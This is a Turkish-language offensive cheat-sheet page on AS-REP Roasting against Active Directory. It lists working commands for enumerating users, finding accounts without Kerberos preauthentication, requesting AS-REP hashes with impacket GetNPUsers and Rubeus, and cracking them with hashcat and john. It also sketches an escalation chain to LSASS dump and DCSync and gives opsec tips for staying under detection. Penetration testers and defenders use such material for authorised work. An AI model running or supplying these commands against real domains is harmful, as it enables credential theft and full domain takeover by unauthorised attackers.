AS-REP Roasting
MITRE ATT&CK · T1558.004 verified · 2026-07 difficulty: easy
AS-REP Roasting, “Do not require Kerberos preauthentication” seçeneği açık olan kullanıcı hesaplarını hedefler (userAccountControl bit DONT_REQ_PREAUTH = 0x400000). Bu hesaplar için KDC, istemcinin kimliğini kanıtlamasını beklemeden kullanıcının uzun vadeli anahtarıyla şifrelenmiş bir AS-REP döndürür; şifreli kısım offline kırılabilir.
Parola zayıfsa hash kırılır ve hesap kimliği ele geçirilir. Kimliksiz yapılabilir (kullanıcı listesi yeterli) — bu yüzden erken oyun için değerlidir.
Nasıl çalışır (kısa)
Section titled “Nasıl çalışır (kısa)”Normal: AS-REQ + preauth (timestamp kullanıcı anahtarıyla) → AS-REP (TGT)AS-REP Roast: AS-REQ (preauth yok) → KDC doğrudan şifreli AS-REP döner → saldırgan ciphertext'i hashcat -m 18200 ile kırarÖn koşullar
Section titled “Ön koşullar”- Geçerli kullanıcı adları (kerbrute / LDAP / OSINT).
- Hedef hesaplarda preauth kapalı veya kimlikli LDAP ile bu hesapları filtreleyip sadece onlara istek atma.
- DC’ye UDP/TCP 88 erişimi.
- Kırma için wordlist / kurallar (hashcat/john).
BloodHound: AS-REP Roastable Users / DontReqPreauth özelliği.
Komut üreteci
Section titled “Komut üreteci”AS-REP Roast · GetNPUsers
embedded toolimpacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat -no-pass -outputfile asrep.hashesAS-REP Roast · GetNPUsers
Section titled “AS-REP Roast · GetNPUsers”Metodoloji
Section titled “Metodoloji”-
Kullanıcıları keşfet — kerbrute, RID cycle, null session, OSINT:
Terminal window kerbrute userenum -d domain.local --dc 10.10.10.5 users.txt -
Preauth kapalı hesapları bul (kimlikli, tercih) — gereksiz AS-REQ gürültüsünü azaltır:
Terminal window ldapsearch -x -H ldap://10.10.10.5 -D 'user@domain.local' -w 'Pass123' \-b 'DC=domain,DC=local' \'(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \sAMAccountNameTerminal window Get-DomainUser -PreauthNotRequired | select samaccountnameTerminal window nxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txt -
AS-REP iste — kimliksiz liste veya kimlikli tek kullanıcı:
Terminal window impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 \-format hashcat -no-pass -outputfile asrep.hashesTerminal window impacket-GetNPUsers domain.local/user:'Pass123' -dc-ip 10.10.10.5 \-request -format hashcat -outputfile asrep.hashesTerminal window Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes -
Offline kır :
Terminal window hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txtTerminal window hashcat -m 18200 asrep.hashes rockyou.txt -r /usr/share/hashcat/rules/best64.ruleTerminal window john --format=krb5asrep asrep.hashes --wordlist=rockyou.txt -
Kimlik bilgilerini kullan — PtH gerekmez; parola ile SMB/LDAP/WinRM, ardından BloodHound yolu.
Hash formatı
Section titled “Hash formatı”$krb5asrep$23$user@DOMAIN.LOCAL:ciphertext...23 = RC4-HMAC (etype 23). AES etype’lı AS-REP nadiren roast senaryosunda görülür; hashcat modu etype’a göre değişir — klasik roast RC4’tür.
Saldırı zinciri örnekleri
Section titled “Saldırı zinciri örnekleri”AS-REP roast svc_legacy → kırılan parola → AdminTo on FILE01 (BloodHound) → LSASS dump → DA session → DCSync
veya: AS-REP user ∈ group with GenericWrite on CA template → ESC1Opsec (ofansif)
Section titled “Opsec (ofansif)”- Kimliksiz büyük userlist ile GetNPUsers, DC’de çok sayıda Kerberos log üretir; önce LDAP ile adayları daralt.
- Kırma tamamen offline — hedefe ek gürültü yok.
- Başarılı logon sonrası spray yapma; eldeki parolayı lateral için kullan.
- Servis hesaplarında preauth kapalı + zayıf parola sık görülür; önce onları hedefle.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- -no-pass unutulursa araç parola sorar / fail.
- Domain FQDN yanlış ( domain vs domain.local ) → principal hataları.
- Clock skew AS-REP alımını bozabilir.
- Kırılan hash yok = preauth kapalı hesap yok veya parolalar güçlü; Kerberoast ve spray’e geç.
- GetNPUsers domain.local/ sonunda / şart (impacket syntax).
Sonraki adımlar
Section titled “Sonraki adımlar”Kerberoasting · Enumeration · Pass-the-Hash (kırıldıktan sonra parola yerine hash de kullanılabilir)